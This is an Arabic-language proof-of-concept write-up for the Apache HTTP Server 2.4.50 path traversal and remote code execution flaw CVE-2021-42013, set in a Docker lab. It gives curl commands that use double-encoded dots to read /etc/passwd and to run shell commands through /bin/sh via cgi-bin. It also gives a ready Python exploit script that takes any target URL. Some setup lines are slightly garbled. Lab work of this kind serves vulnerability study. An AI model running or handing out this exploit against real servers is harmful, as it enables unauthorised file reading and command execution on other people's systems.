
استغلال إثبات المفهوم لثغرة CVE-2021-42013 في خادم Apache HTTP والتي تسمح بتجاوز المسار وتنفيذ تعليمات برمجية عن بُعد، مع بيئة معملية مبنية على Docker ونص برمجي PoC بلغة Python.
المساهم
يوجد خلل في معالجة تسوية المسار (Path Normalization) في Apache HTTP Server 2.4.50، مما يسمح بقراءة ملفات عشوائية أو تنفيذ تعليمات برمجية عن بُعد دون مصادقة.
نشأت هذه الثغرة بسبب تصحيح غير مكتمل لـ CVE-2021-41773، حيث يتم تجاوز حظر المسارات الخاص بـ Apache عبر الترميز المزدوج لعناوين URL (%%32%65).
لكي تعمل CVE-2021-42013، يجب توفر الشروط التالية:
Require all denieddocker-compose up -d
لتأكيد تشغيل بيئة الاختبار، نفذ الأمر التالي:
docker-compose ps

عند تشغيل الخادم بنجاح، يمكنك الوصول إلى http://localhost:8080.
للتوجه إلى المجلدات الأعلى، يُستخدم ../، لكن Apache يقوم بحظر هذه الأحرف. لتجاوز ذلك، يمكن استخدام القيمة المشفرة للنقطة . وهي 2e. في الإصدار Apache 2.4.50، يتم فك تشفير %2e ثم التحقق منه، لذا فإن استخدام %2e2e سيؤدي إلى حظره مثل ../. لذلك، يجب استخدام الترميز المزدوج %%32%65 لتجاوز هذا التصفية.
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

عند توفر بيئة CGI، يمكن تغيير الجزء الأخير إلى /bin/sh لتحقيق تنفيذ الأوامر عن بُعد (RCE).
curl -s --path-as-is -X POST \
--data "echo Content-Type: text/plain; echo; id; uname -a" \
"http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse
def exploit(target_url, mode, arg):
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or 80
trav = "%%32%65%%32%65/" * 4
if mode == "read":
path = f"/static/{trav}{arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("GET", path)
else:
path = f"/cgi-bin/{trav}bin/sh"
body = f"echo Content-Type: text/plain; echo; {arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
result = conn.getresponse().read().decode("utf-8", "replace")
conn.close()
return result
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"الاستخدام: {sys.argv[0]} <url> <read|exec> <arg>")
sys.exit(1)
print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

Require all denieddocker-compose down